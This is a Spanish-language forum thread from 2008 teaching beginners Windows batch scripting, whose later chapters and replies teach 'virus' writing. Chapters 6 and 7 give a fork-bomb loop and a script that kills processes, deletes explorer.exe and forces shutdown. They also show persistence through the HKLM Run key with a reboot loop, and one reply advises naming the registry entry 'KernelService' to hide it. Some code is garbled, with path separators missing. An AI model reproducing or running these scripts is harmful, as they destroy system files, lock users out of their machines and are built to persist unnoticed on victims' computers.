PDA

Ver la Versión Completa : APRENDER Un POCO DE .BAT



virox
07/03/2008, 14:23
SI Quieren hacer cosas Buenas deberan tener Aunque sea un poco de Conocimiento en cada area...

Aquí les dejare la de programaren .Bat ,Desde lo basico practicamente D:

::portalnet::
*Este curso va destinado para Newbies que aun no han comenzado a programar.
*Intentare explicarlo todo lo mas claro y preciso que pueda.

*Si ustedes ya han programado alguna vez, no se molesten en leerlo, no aprenderan nada nuevo puesto que como ya e dicho, es para aprender.

*El curso lo are por capitulos, escriviendo uno cada dia o dos dias para que vallan con calma y practicando lo aprendido. Les recomiendo hacer los ejercicios ustedes mismos a la vez que sigen el curso para que puedan aprender bien.
INTRO CURSO :O.-CAPITULO 1: MI PRIMER PROGRAMA .BAT
.-CAPITULO 2: LAS VARIABLES
.-CAPITULO 3: VARIABLES -CONTINUACION-
.-CAPITULO 4: IF, GOTO, MENUS
.-CAPITULO 5: ULTIMOS COMANDOS
.-CAPITULO 6: INICIACION A LA CREACION DE VIRUS
.-CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS

ESpero Todo SAlga ASI : D...
LA idea es que lo SIgan para que aprendan Todo ello :D

virox
07/03/2008, 14:43
CAPITULO UNO:

MI PRIMER PROGRAMA .BAT

En este primer capitulo crearemos nuestro primer programa, usando los comandos mas basicos de la programcion en batch.

Abran el bloc de notas.
A continuacion escrivan

@echo off
* Asi sera como empesemos siempre el programa
* A continuacion escribiremos el titulo del programa, para ello pondremos title seguido de su titulo, ejemplo:



@echo off
title mi primer programa Virox-lex´s


De esta forma nuestro programa tendra el nombre de, "mi primer programa Virox-lex´s"

Ahora les mostrare una serie de comandos basicos que deben de aprender, les aconsejo que lo apunten en un papel para tenerlos siempre presentes.

echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el word

echo este sirve para mostrar un mensaje en el programa

rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo se vera en el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse para hacer tus aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la introduccion, asta aqui las preguntas, apartir de aqui ire acabando las operaciones...etc)
es como En C++ un Comentario

pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el programa... pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo preguntara, es decir, daremos una tecla y continuara.

exit esta sirve para acabar el programa, para salir de el....

Bien una vez dicho esto, podremos crear nuestro primer programa.
Abran el bloc de notas si aun no lo han echo y escriban..


@echo off
title mi primer programa virox-lex´s
echo.
echo comentario
echo.
pause
echo.
echo este es mi primer programa jejeje siiiiii
pause > nul
rem y aca ya se acaba, esto no lo leere pero me sirve de aclaracion
exit


Ahora le dan a guardar como y lo llaman por ejemplo 1ºprogramaconvirox.bat o lo que quieran, pero deve ser loquesea.bat

Ahora veran que se a creado un programa que tiene el icono como de una ventana blanca con una rueda dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!

Despues intenten entender el codigo, y veran lo sencillo que es...

En el proximo capitulo les enseñare como hacer que el programa te aga preguntas y tu responderlas...etc

No se impacienten!! jeje
Espero que les ayude.

Un saludo, Virox-lex´s

virox
09/03/2008, 02:49
CAPITULO 2: LAS VARIABLES

Espero que les quedase claro lo que dimos en el capitulo numero1. Fue una cosa sencilla no?
Ahora pasaremos a las variables.

Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo referencia mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.



@echo off
title ejemplos
set var=Hacker
echo eres un %var%
pause


Vieron que Empezamos con @echo off y seguimos poniendo un titulo, en este caso lo he llamado ejemplos. (asta aki ya lo sabian no??)
a continuacion al poner set var=HACKER hace que la palabra HACKER se muestre cuando ponemos var entre %% de esta forma, cuando ponemos eres un %var% el programa nos muestra, eres un HAcker jejeje, esto es un ejemplo,


asi pueden acer todo lo que se les ocurra...lo q deben recordar es que tiene q empezar por set unapalabra= loquequieras y para acer luego referencia a loquequieras, menten entre %% la palabra seguida de set, de esta forma %unapalabra%

por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo... Benga, les ago el ejemplo...

CLS Borrara lo anterior ...en el programa,




@echo off
title ejemplo4
set/p nombre= ¿como te llamas?
echo.
pause
echo.
set/p edad= ¿y cuantos años tienes?
echo.
pause
echo.
set/p vive= ¿y donde vives?
echo.
pause
cls
echo te llamas %nombre% y tienes %edad% años y vives en %vive%
echo.
pause > nul
exit

han visto no?? si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a copiar y pegar para que les sirva de ejemplo. ballan provando, es la mejor forma de acordarte de ello y coger soltura

Y bueno, si se an quedado con esto... por hoy ya es bastante...

voy a dar ya los codigos de colores para que experimenten a cambiar el color a la ventana del programa. Es facil de usar, deben poner, color seguido de un numero y letra (color de letras y de fondo)... prueben....

CODIGO DE COLORES:



0 = Negro
1 = Azul
2 = Verde
3 = Aguamarina
4 = Rojo
5 = Púrpura
6 = Amarillo
7 = Blanco
8 = Gris
9 = Azul claro
A = Verde claro
B = Aguamarina claro
C = Rojo claro
D = Púrpura claro
E = Amarillo claro
F = Blanco brillante


ASI SE ""METEN"" LOS COLORES :O



@echo off
title ejemplo4
color 5e
set/p nombre= ¿como te llamas?
echo.
pause
echo.
set/p edad= ¿y cuantos años tienes?
echo.
pause
echo.
set/p vive= ¿y donde vives?
echo.
pause
cls
color 2f
echo te llamas %nombre% y tienes %edad% años y vives en %vive%
echo.
pause > nul
exit



Espero que asta aqui lo hallan entendido, si necesitan alguna aclaracion o no entienden algo. No duden en postear.

CONDELEKTRO
14/03/2008, 00:02
Esta Claro Pero Aun Esperamos Los Siguientes Capitulos...............

virox
14/03/2008, 17:57
:O
____

CAPITULO 3: VARIABLES -CONTINUACION-


En esta ocasion, explicare otro tipo de variables, que se utilizan para hacer operaciones matematicas. Su base y modo de empleo es similar a las del capitulo anterior (las set/p).

Estas en vez de set/p xxx= se llaman set/a xxx=
Sirve por ejemplo para realizar medias, porcentajes...etc...

Lo mejor es ver un ejemplo:

Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1º capitulo, y se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el programa no se vera. Os lo digo porque lo utilizare para irles explicando.


@echo off
title calcula tus nota lo que acemos es dotar la palabra asig con el valor6
set/a suma=a+b+c+d+e+f
rem aqui sumamos las medias
set/a media=%suma%/%asig%
rem como veran al dividir la suma entre las asignaturas sacamos la media
echo tu nota media es de : %media%
pause
echo estudia mas pajero
echo.
echo consejo de virox
pause
exit


Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... ¿¡que qereis!? jeje

Espero que lo ayais entendido.

Los comandos de las operaciones son

suma+
resta -
producto *
division /
exponente ^



_____________________
:)
Capitulo 4: IF, GOTO & MENU

Bueno, en este 4º capitulo, explicaremos 2 sencillos comandos (el goto, y el de la estructuracion por menus), y otro algo mas complicado (el if) pero Con un poco de praCtica es pan COmido :D

El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir a un menu...

Los menus, nos permiten hacer "menus" o apartados en nuestro bat.
(ko un titulo en un libro ) hay cn el ejemplo entenderan mejor:)

-Los menus se hacen escribiendo : y seguido el nombre del menu. (con el ejemplo de luego lo vereis mas claro)

El comando if ,sirve para establecer una condicion, es decir, si la condicion se cumple o no, se hara tal cosa.(if /*es como decir "sí")
if var= eres lammer // si var =eres lammer

El comando if, dispone de los siguientes atributos:



variable==valor (para expresar si la variable es igual a valor haz esto)
variable LSS valor (para expresar si la variable es menor a valor haz esto)
variable GTR valor (para expresar si la variable es mayor a valor haz esto)
variable LEQ valor (para expresar si la variablees menor o igual haz esto)
variable GEQ valor (para expresar si la variable es mayor o igual haz esto)
TRanQUIlos ahora un ejemplo :D!!



echo.
set /p var=quieres convertirte en hacker??
If %var%==si goto serh
If %var%==no goto noh
:serh
cls
echo pues entonces SIgue con el manual y practica muxo
pause > nul
goto end
:noh
cls
echo.
echo pues entonces Anda ver BArny
pause > nul
goto end
:end
cls
echo.
echo adios
pause
exit

Se entiende ciereto :P
OTRO EJEMPLO :D

@echo off
title ¿que numero sera...?
:menu
cls
echo debes averiguar el numero para poder salir
echo.
set /p var=pon un numero:
If %var%==5 goto si
If %var% LSS 5 goto menor
If %Var% GTR 5 goto mayor
:si
cls
echo correcto!!! posteale a virox ahora!! jaja
pause
goto salir
:menor
cls
echo elije otro mas alto
echo.
echo sigue jugando
pause > nul
goto menu
:mayor
echo elije otro mar pekeño!!
echo.
echo sigue probando
pause > nul
goto menu
:salir
echo.
echo asta otro dia!!
pause > nul
echo.
echo un saludo, virolex ->MSN new [email protected]
start http://www.portalnet.cl/comunidad/showthread.php?t=60446
pause
exit
Ya lo habran pillado no?? ahajahjahaj

También pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa esto....haz esto, lo que hace es decir, "SI NO pasa esto...haz esto". ¿Entienden no??? sino hagan un ejemplo veran q facil es.
else = NO
if = si


Se preguntaran tambien que pasa, cuando por ejemplo en el 1º ejemplo que puse, en vez de escribir si o no, escribimos otra cosa,
Entonces lo que sucedera, es que el lenguage, al ser lineal, pasara a la siguiente linea... sin importar lo q pongamos (pruebenlo).



if %vari%=1 (goto menu1) else goto menu2
español!
SI &vai% =1 (ir al menu1) Si no ir al menu2
Lo que qiere decir esto, es que si la variable es 1, ballamos al menu1, sino, al menu 2.
La sintaxis seria esta

if condiciones (accion1) ELSE accion2

*La 1º accion debe ir entre parentesis obligatoriamente.

Vean un ejemplo les quedara mas claro...

En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escribes cualqier otra cosa, veran que vuelve al principio, y no pasa como en los ejemplos de antes.


Pero no se preocupen todo esto tiene solucion con un comando llamado else.

Lo que quiere decir es: sino ház esto, es decir, por ejemplo decimos




@echo off
title virox di soy NEMBO
:menu
cls
echo que quieres? consejo o salir
echo.
set /p var=dime, consejo o salir:
If %var%==consejo (goto consejo) else goto if2
:if2
if %var%==salir (goto end) else goto menu
:consejo
cls
echo ten cuidado con lo que descargas, fiate solo de virox, el es legal!!
pause > nul
goto end
:end
cls
echo.
echo adios!!
pause
exit
IA TERMINE POR HOY.. Practique.. para que despues se les haga facil..
el iniciar a crear virus :D ajsdashdsad!

eso es lo que qeren no? :O

IA xaúZ muxo por hoy a razonar

y Dudas posteenlas ..aki :D

CONDELEKTRO
16/03/2008, 13:58
echo.
set /p var=quieres convertirte en hacker??
If %var%==si goto serh
If %var%==no goto noh
:serh
cls
echo pues entonces SIgue con el manual y practica muxo
pause > nul
goto end
:noh
cls
echo.
echo pues entonces Anda ver BArny
pause > nul
goto end
:end
cls
echo.
echo adios
pause
exitAVER SI ESTOY ENTENDIENDO EN ESE COMANDO QUE PUSISTE HAY TE FALTO AL PRINCIPIO PONER EL "OFF" DESPUES DE "ECHO"

OSEA
"ECHO OFF"


PARA OCULTAR LO QUE HICIMOS.......

virox
16/03/2008, 14:37
Bien... !! :)

tienes toda laRazón: D
y si quieres tambien un Title :P

__________
exelente aclaracion :D

virox
18/03/2008, 17:31
CAPITULO 5: ULTIMOS COMANDOS

Bien, si an entendido lo anterior, ya es el momento de que sepan el resto de comandos, y experimenten y prueben por ustedes mismos.

En este capitulo,enseñare el resto de comandos interesantes, y para el proximo capitulo, nos meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos.

Bien, estos son los comandos basicos q deben recordar:

del borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe

/P Pide confirmación en cada caso
/F Modo force. Borra incluso los archivos de solo lectura
/S Borra también los subdirectorios.
/Q Modo silencioso. No pide confirmación en ningún caso

rd borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raiz borrara ese dir.

star comienza algo, por ejemplo star www.portalnet.cl (http://www.portalnet.cl)

taskkill (win 98)tskill (wind xp) mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exe

format unidad: formatea una unidad, por ejemplo format c:

msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y no te olvides de visitar infiernohacker

reg add añade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)

> y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola.
Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que teniamos anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en la linea siguiente adios.

Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la palabra adios.
Espero que lo hayan entendido... en brebes palabras_
> crea o remplaza un archivo
>>salta asta la linea siguiente

EJEMPLOS:


@echo off
echo virox>hola.txt
exit
asi : D (( solo lo hice pa q vean q lo colore funkan :D
http://img217.**************/img217/5362/batgg2.jpg

Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra virox

* El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg
borrara todos los archivos con extension .jpg
del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.

? El? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del c?sa.jpg borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por ejemplo borraria; casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?

El * y ? sirve tanto para el nombre como la extension.... No voy a wear:) mucho en esto, porque es algo facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q entienden.
c?sa.* (archivos c -un caracter- sa y de cualquier extension)
*asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea)

CHDIR o CD [path>

Cambia al directorio indicado.

CD \"c:\\archivos de programa\" Trasladarse al directorio Archivos de programa
CD .. Trasladarse al directorio superior
CD \\ Trasladarse al raíz

ATTRIB [/S> [archivo>

Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.

Con el parámetro /S busca también en subdirectorios.

Los atributos son:
H -> oculto. Se activa con +h y desactiva con -h
R -> Lectura. Solo lectura con +r, normal con -r
S -> Sistema. Se activa con +s y desactiva con -s
A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.

ATTRIB archivo.txt Muestra los atributos de ese archivo
ATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt

Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only)

shutdown este comando, depende de las letras que lo acompañen, puede acer una cosa u otra:
si esta seguido de -r se reiniciara el equipo
-s hara que se apage
-f forzara a cerrarse todos programas
-t 15 indica el tiempo...en este caso 15 segundos
-c " " lo que va entre comillas sera un mensaje...

pongamos un ejemplo_


shutdown -r -f -t 12 -c "Shualo" esto hara q la pc se reinicie (-r) que se cierren todos los programas forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga Shualo
Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto....etc son los basicos.

IA .esoso sOn los bascios:: si se quedo alguno pFF ..era! , nah ahi saldran cuando empezemos la creacion de VIrus!,

OJALA SE INTEGREN MAS USER..PARA DESPUE A FUTURO :o ETAR TOOS AVANSADOS! _:D
ala par!
si pueden promover esto sigan!

XauZ

virox
18/03/2008, 17:34
lo pille en la web ... pa que no se den la paja de buscarlo en CMD
Autor!: Hunter.Ghost de-> deviceforo
HELP

El comando HELP sirve para pedir ayuda sobre un comando o para ver la lista de comandos disponibles. Para ver los comandos disponibles Escribimos HELP en la consola, nos saldra esto:


Código:
Para obtener mas informaci¢n acerca de un comando espec¡fico, escriba HELP
seguido del nombre de comando


ASSOC Muestra o modifica las asociaciones de las extensiones de archivos.
AT Planifica comandos y programas para ejecutarse en un equipo.
ATTRIB Muestra o cambia los atributos del archivo.
BREAK Establece o elimina la comprobaci¢n extendida de Ctrl+C.
CALCS Muestra o modifica las listas de control de acceso (ACLs) de archivos.
CALL Llama a un programa por lotes desde otro.
CD Muestra el nombre del directorio actual o cambia a otro directorio.
CHCP Muestra o establece el n£mero de p gina de c¢digos activa.
CHDIR Muestra el nombre del directorio actual o cambia a otro directorio.
CHKDSK Comprueba un disco y muestra un informe de su estado.
CHKNTFS Muestra o modifica la comprobaci¢n de disco al iniciar.
CLS Borra la pantalla.
CMD Inicia una nueva instancia del int‚rprete de comandos de Windows
COLOR Establece los colores de primer plano y fondo predeterminados de la
consola.
COMP Compara el contenido de dos archivos o un conjunto de archivos.
COMPACT Muestra o cambia el estado de compresi¢n de archivos en particiones
NTFS.
CONVERT Convierte vol£menes FAT a vol£menes NTFS. No puede convertir
la unidad actual.
COPY Copia uno o m s archivos a otro lugar.
DATE Muestra o establece la fecha.
DEL Elimina uno o m s archivos.
DIR Muestra una lista de archivos y subdirectorios en un directorio.
DISKCOMP Compara el contenido de dos disquetes.
DISKCOPY Copia el contenido de un disquete en otro.
DOSKEY Edita l¡neas de comando, memoriza comandos y crea macros.
ECHO Muestra mensajes, o activa y desactiva el eco.
ENDLOCAL Termina la b£squeda de variables de entorno del archivo por lotes.
ERASE Elimina uno o m s archivos.
EXIT Sale del programa CMD.EXE (interfaz de comandos).
FC Compara dos archivos o conjunto de archivos y muestra las diferencias
entre ellos.
FIND Busca una cadena de texto en uno o m s archivos.
FINDSTR Busca cadenas de texto en archivos.
FOR Ejecuta un comando para cada archivo en un conjunto de archivos.
FORMAT Da formato a un disco para usarse con Windows.
FTYPE Muestra o modifica los tipos de archivo utilizados en una asociaci¢n
de archivos.
GOTO Direcciona el int‚rprete de comandos de Windows a una l¡nea en
un programa por lotes.
GRAFTABL Permite a Windows mostrar un conjunto de caracteres extendidos
en modo gr fico.
HELP Proporciona informaci¢n de ayuda para los comandos de Windows.
IF Ejecuta procesos condicionales en programas por lotes.
LABEL Crea, cambia o elimina la etiqueta del volumen de un disco.
MD Crea un directorio.
MKDIR Crea un directorio.
MODE Configura un dispositivo de sistema.
MORE Muestra la informaci¢n pantalla por pantalla.
MOVE Mueve uno o m s archivos de un directorio a otro en la misma unidad.
PATH Muestra o establece una ruta de b£squeda para archivos ejecutables.
PAUSE Suspende el proceso de un archivo por lotes y muestra un mensaje.
POPD Restaura el valor anterior del directorio actual guardado por PUSHD.
PRINT Imprime un archivo de texto.
PROMPT Cambia el s¡mbolo de comandos de Windows.
PUSHD Guarda el directorio actual y despu‚s lo cambia.
RD Elimina un directorio.
RECOVER Recupera la informaci¢n legible de un disco da¤ado o defectuoso.
REM Graba comentarios en archivos por lotes o CONFIG.SYS.
REN Cambia el nombre de uno o m s archivos.
RENAME Cambia el nombre de uno o m s archivos.
REPLACE Reemplaza archivos.
RMDIR Elimina un directorio.
SET Muestra, establece o elimina variables de entorno de Windows.
SETLOCAL Inicia la localizaci¢n de cambios del entorno en un archivo por lotes.
SHIFT Cambia posici¢n de modificadores reemplazables en archivos por lotes.
SORT Ordena las entradas.
START Inicia otra ventana para ejecutar un programa o comando.
SUBST Asocia una ruta de acceso con una letra de unidad.
TIME Muestra o establece la hora del sistema.
TITLE Establece el t¡tulo de la ventana de una sesi¢n de CMD.EXE.
TREE Muestra gr ficamente la estructura de directorios de una unidad o
ruta de acceso.
TYPE Muestra el contenido de un archivo de texto.
VER Muestra la versi¢n de Windows.
VERIFY Comunica a Windows si debe comprobar que los archivos se escriben
de forma correcta
disco.
VOL Muestra la etiqueta del volumen y el n£mero de serie del disco.
XCOPY Copia archivos y rboles de directorios.


Nos solo hay estos comandos, tambien hay algunos como el ping, netstat, tracert,... pero estos mas que comandos son programas que estan en system 32, los programas que estan en system 32 se pueden ejecutar desde la consola escribiendo su nombre.

virox
30/03/2008, 01:53
CAPITULO 6: INICIACION A LA CREACION DE VIRUS

Como ya habia dicho, a partir de aqui, comenzaremos con la creacion de virus.(((MIEDOOO)))) jajaj NAH

Epezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita algunas cosas ya explicadas brevemente, como el comando shutdown, pero creo que es importante repetirlo (profundizando algo mas) en este tema.

1.)Introduccion

Buenas , ante todo he de decir que esto es un manual de introducción y no un manual para expertos. En este manual se hablara sobre los """virus .bat"" (archivos por lotes ejecutables de ms-dos)

¿Qué es un comando?
es una orden que le damos al sistema operativo para que haga una tarea determinada.

explicación: @echo off

Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.

explicación: shutdown

es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones
que les debes dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no.

explicación: parametro -s y -t

el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos.

otros parametros de shutdown:

shutdown -r = Reinicia
shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"
shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m \\nombredehost
shutdown -f = fuerza el cierre de las aplicaciones.

Comandos básicos

a continuación pondré varios comandos que sirven mucho a la hora de hacer virus.

-del = borra un archivo
-copy = copia un archivo
-reg = hacer modificaciones en el registro
-net = Muchas funciones, escriban en cmd net /? para ver sus funciones Sonrisa
-RD = elimina un directorio
-set = Muestra , establece, crea , variables de entorno de windows.
-taskkill o tskill = mata procesos

Comandos del registro

Operaciones:

REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?

Usad estos comandos para obtener ayuda sobre los parametros después de reg.

inicio-ejecutar-cmd y escrives algun comando para saber lo que es (asi me ahorro el explicar cada uno xD)

Bucles

Bueno un bucle es repetir muchas veces lo mismo
ejemplo

@echo off
:virox
echo te estoy haciendo un bucle jaja
goto virox

jeje ya se imaginana :O las cosas que puedes hacer.

otro ejemplo:

@echo off
:menu
start
goto menu


Madre mía.. este simple código , el que lo abra tendrá que reiniciar , por que el pc se le trabará todo.

el comando start lo que hace es abrir otra shell, así que imaginate este bucle infinito.

podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc
(start www.portalnet.cl ) ( start www.ladoscuro.mforos.com )
Nuestro segundo virus.

@echo off
taskkill /F /IM msnmsgr.exe
del /F c:\windows\system32\explorer.exe
shutdown -s -t 10 -c "Asta luego lucas!!"

Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10 segundos con el mensaje asta luego lucas xD

Variables de windows xp

para ver el contenido de estas variables escriban en cmd.exe

echo %NOMBREDELAVARIABLE%

%COMPUTERNAME% = Nombre de host.
%SYSTEMROOT% = Carpeta de administración Normalmente c:\windows
%TEMP% = directorio donde se encuentran los archivos temporales
%WINDIR% = directorio de windows.
%USERNAME% = usuario con el que se inicio sesión
%USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesión
%PROGRAMFILE% = directorio donde se encuentran los archivos de programas
%OS% = muestra el sistema operativo que estamos ejecutando
%LOGONSERVER% = nombre de nuestro server (\\mihost)

no son todos pero estan los mas importanter ^^

Y bueno, por hoy lo dejo aqui.. cuando pueda seguire.. ^^ espero que pueda ser pronto.

POSTEEENNN SI LES GUSTA!!! o si dejo asta aki la wa!

sacdracum
30/03/2008, 10:33
wena cumpa!! exelente aporte, ahora hay que ponerle craneo y planerar para que utilizar la info (yo utilisaba bat para realizar tareas de administracion pero ahora utilizo visual basic script)
saludos

PAULANER_METAL
28/05/2008, 22:32
oe te las mandaste perro con este tutoriall..
muxas gracias

virox
30/05/2008, 02:24
CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS
ya ... cauro..aqui lo ultimo de este pekeño cursito :P

Teniendo mas o menos claros lo del tema anterior en estese intentara explicar de la forma mas clara posible como hacer que el virus se quede en run para que se ejecute al arrancar, y algunas cosillas mas...

Podemos crear un virus que se ejecute, haga su funcion y ya esta...
o podemos crear un virus, que se guarte en la PC y se ejecute con esta cada vez que se inicie...

Como podemos ver el daño no es igual...

imaginen este virus:

@echo off
shutdown -r -f -t 5
exit

Lo que ara sera reiniciar la PC a los 5 segundos, y ya esta.... no volvera a acerlo a no ser q la victima lo vuelva a ejecutar...

Pero imaginen que este virus se inicia cuando encendemos el PC... osea, el solito... entonces ya joderia algo mas no?

Pues bien, esto es lo que voy a intentar explicar.

1º Devemos acer que nuestro virus se cree en algun directorio

2º Añadirlo al registo, (a run)

3º Esto ya es opcional, podemos hacer q se ejecute, o poner algo en el bat... etc

Bueno, en primel lugar, comenzaremos como siempre

@echo off

A continuacion, deveremos ir al directorio donde queremos que se qede nuestro virus, por ejemplo C: o System32 o Windows... etc

Si queremos que se guarde en c: basta con escrivir tan solo cd

@echo off
cd

Si por ejemplo queremos q se guarde en System32, pues ariamos:


@echo off
cd c:windowssystem32
Y de esta forma igual con cualquier otro directorio....

Pues bien, imaginemos q lo guardamos en System32, pues aora deveremos crear un bat completo en system32... es decir... crear uno desde el principio, apartir de este...

Lo veran mejor con el siguiente ejemplo

@echo off
cd c:windowssystem32
echo @echo off > virus.bat
echo
shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
exit

Entienden lo que emos echo no?? si an seguido el manual desde el principio, entenderan el porqe del > y del >>.

Por si no lo saben se lo explico brebemente:

El > sirve para crear o remplazar un archivo, y el >> para escribir en la linea siguiente.

Una vez echo esto, ya tendremos nuestro virus.bat en la carpeta system32. Ahora solo nos queda añadirlo a RUN para q se inicie con windows...
Para ello añadiremos lo siguiente:

reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante aparece la ruta C:\windows\system32.
Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo.

Asi que de momento nuestro virus iria asi:


Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante aparece la ruta C:windowssystem32.
Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo.

Asi que de momento nuestro virus iria asi:


pues con eso :P tan dao komo pekeña cosa molestosa
_____________________________________
Ahora podriamos poner algun mensaje y tambien ejecutar el bat...

Por ejemplo asi:

virus.bat/t reg_sz /d C:windowssystem32 /f
msg * Estas perdido amigo
msg
* Ahora UN conocido TUIO domina tu pc
msg * jajaja
start
c:windowssystem32virus.bat
exit

ya po..solo ,,,,,queda usar su imaginacion!!! su ingenio :::

conbinen lo ya dixo y ... prueben en sus PC XD ajhasasjdas para senciorarse :P

cualqer cosa si se les va de las manos su RS (restaurar sistema)

saludos!!

Ladoscuro:

depe... .....

LEan el tuto! ::completo!! .... por si surgen DUDAS

ramdiester
08/07/2008, 10:34
muy bueno compadre se paso con esta explicacion felicitaciones y gracias.

michaelseductor
11/07/2008, 13:07
Exelente

yaka
13/07/2008, 01:50
biejo, la cagaste.............. muy bueno e interesante aporte..
aprendi caleta.

mucha
mucha
mucha
mucha
mucha
mucha
mucha gracias.

nacxo
05/12/2008, 23:44
mira en el capitulo 2 pusiste set/p y en el tres pusiste set/a...cual es la diferencia?

virox
06/12/2008, 01:02
mira en el capitulo 2 pusiste set/p y en el tres pusiste set/a...cual es la diferencia?


Set/p :texto


Set/a :Numeros

Xgaarax1
13/03/2009, 17:26
men me gustaria ser comomo tu eri la rja

cathan22
13/04/2009, 12:25
ta wueno el tuto...

se agradece...








.

cathan22
13/04/2009, 13:35
Cita:
@echo off
title ejemplo4
color 5e
set/p nombre= ¿como te llamas?
echo.
pause
echo.
set/p edad= ¿y cuantos años tienes?
echo.
pause
echo.
set/p vive= ¿y donde vives?
echo.
pause
cls
color 2f
echo te llamas %nombre% y tienes %edad% años y vives en %vive%
echo.
pause > nul
exit

quiero preguntar algo...
en este ejemplo no seria nesesario poner

set/a edad = ¿y cuantos años tienes?

o me equivoco.

algo mas...

no me queda nada claro lo de los registros...

Comandos del registro

Operaciones:

REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?

los ejecute en la consola para ver la ayuda pero aun asi no entiendo muy bien...

reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f

esta linea que saque de uno de los ejemplos...
la cual me confunde mucho espero que me los puedas explicar mejor...

saludos.

niñoxico
14/04/2009, 00:31
perro gracias por el aporte
cuando tenga tiempo lo leere y aplicare
toy muy ocupado con java por ahora
saludos y gracias ;)

madafaca
24/04/2009, 07:18
estimado primero que todo... deseo felicitarlo por su tutorial de BATCH :) excelente... espero poder aportar tanto como ud. para hacer una seccion cada vez mas completa :D

ahora bien



[...]
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun/v virus.bat/t reg_sz /d C:windowssystem32 /f
Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante aparece la ruta C:windowssystem32.
Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo.
[...]


respecto a esta seccion si mal no recuerdo la sixtaxis de la sentencia si bien esta bien falla en ciertas secciones cito y declaro posible solucion en caso de que yo este erroneo disculpe las posibles molestias causadas D:



hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun/

asumire que es error de teclado pero si mal no recuerdo la sentencia correcta es:


HKLM/Software/Microsoft/Windows/CurrentVersion/Runahora en:

/v virus.batel valor del presente es el nombre que identificara al valor del registro. por lo tanto el nombre de este debe ser menos "llamativo" es decir es el identificador del mismo mas no sifnifica l nombre del fichero

ejemplo

/v KernelServicey como ultimo detalle:

/d C:windowssystem32aqui deberia ir la ruta + el nombre del archivo a abrir, sino, al ejecutarse simplemente abriria la carpeta en si mas no el archivo que se desea abrir D:

es decir:

